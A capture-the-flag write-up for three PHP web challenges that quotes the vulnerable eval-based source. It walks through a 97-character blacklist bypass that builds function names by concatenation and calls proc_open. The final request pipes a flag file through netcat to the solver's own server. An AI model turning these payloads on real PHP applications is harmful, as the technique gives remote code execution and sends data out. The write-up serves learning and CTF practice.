Introduction
This write-up is about the challenges PHP+1, PHP+1.5 and PHP+2.5, we were able to solve those three challenges with the same payload.
The idea behind the three challenges were the same: Bypass the WAF and get a shell.
The Challenge
Looking at the first challenge (PHP+1), we were given a link to this address: http://18.222.93.187. When we opened the address in the browser, we were given a PHP source code:
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
unset($blacklist);
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
The code above is straighforward, we need to send a request with two query variables: input
and thisfile
. In order to bypass the checks at is_file
and file_exists
, we just need to send a directory path at the query variable thisfile
.
The next step is bypass the check
function. This functions takes all PHP functions names and checks if our input contains any of those names.
The next challenge is PHP+1.5. In this challenge we were given the source code below:
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
The difference between this challenge and the previous, it’s that in this challenge our input is checked with the blacklist
variable. So, in the previous challenge we could even use eval
to execute some code, because eval
is not a function, it is a Language Constructor
, same as echo
and die
.
And now comes the third challenge, PHP+2.5 and his source code:
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);
if(strlen($input)>100){ #That is random no. I took ;)
echo "This is getting really large input..." . "<br>";
return true;
}
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
And now comes the fun part, in this challenge our input should be less than 100 characters!
One Payload to Rule Them
The first step we took was figure out a way to execute phpinfo()
and get the available functions that we could use to get a shell. So, if you look carefully, will notice that .
is not in $blacklist
and $
is not too. This will help us in order to bypass the preg_match
filters.
So, to create the function name, we just need to concatenate the function name letter by letter, PHP maybe throws a warning, but it will gently convert a p
to 'p'
. The payload below illustrates how we were able to execute the phpinfo
function:
$f=p.h.p.i.n.f.o; $f();
And our request would: http://18.222.93.187/?input=$f=p.h.p.i.n.f.o;$f();&thisfile=/dev/null
This was enough to execute phpinfo()
and gives us the information we were looking for: The disabled functions list.
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir
display_errors
So far so good.
If you look closely, you will notice that proc_open
is not in the list and this is the reason that let us solve PHP+1, PHP+1.5 and PHP+2.5
. PHP+2
was the same code as PHP+2.5
, but in PHP+2
, proc_open
was disabled and this was the reason that we didn’t solve it.
Now, back to PHP+1
, we must craft our payload to call proc_open
, looking at the documentation of the function, we need to pass three parameters to the function: The command we want to execute and two arrays. The first array is an array of file descriptors, something like the code below:
array(
array('pipe' => 'r').
array('pipe' => 'w').
array('pipe' => 'w').
);
It turns out that if we would send this in our payload, it would take too much characters. We decide to send it through $_GET
params:
arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w
In order to call proc_open
, we can use the concatenation again to make the function name as we did before with phpinfo
, but, there was a problem, underline
is blocked (in PHP+1.5
and PHP+2.5
). This can easily be bypassed using the concatenation to create the function chr
and later calling it:
$c=ch.r;$u=$c(95);
As $u
holds the underline
, we just need to concatenate it with proc
and open
:
$e=pro.c.$u.ope.n;
The next thing we must do it is fetch the descriptor array
from the $_GET
. First, we create a variable that will hold _GET
:
$k=$u.G.E.T;$g=$$k;
And here’s a trick: We must craft our request in an way that the first query variable is the command we want to execute and the next is the descriptor array
. This is important because we’ll use the current
and the next
functions to fetch the first and the second element from the $_GET
array, so our request will be something like:
http://challenge-address/?p=command-we-want-to-execute&arr[][]=descriptor-array&input=payload&thisfile=/dev/null
We won’t go into details in this part, but basically you could use glob
to find the files. There was a flag file in the /
, but we could not read it due to permission issues. And to circumvent this problem, there was a readFile
binary in /
, so we should execute it and pass the flag file as parameter. So we setup our payload to execute the readFile
and send it through netcat
to our server.
Payload (97 chars)
$c=ch.r;
$u=$c(95);
$k=$u.G.E.T;
$c=cur.rent;
$n=ne.xt;
$g=$$k;
$e=pro.c.$u.ope.n;
$e($c($g),$n($g),$j);
Final request
http://challenge-address/?p=/readFlag /flag | nc our-ip 4444&arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w&input=$c=ch.r;$u=$c(95);$k=$u.G.E.T;$c=cur.rent;$n=ne.xt;$g=$$k;$e=pro.c.$u.ope.n;$e($c($g),$n($g),$j);&thisfile=/dev/null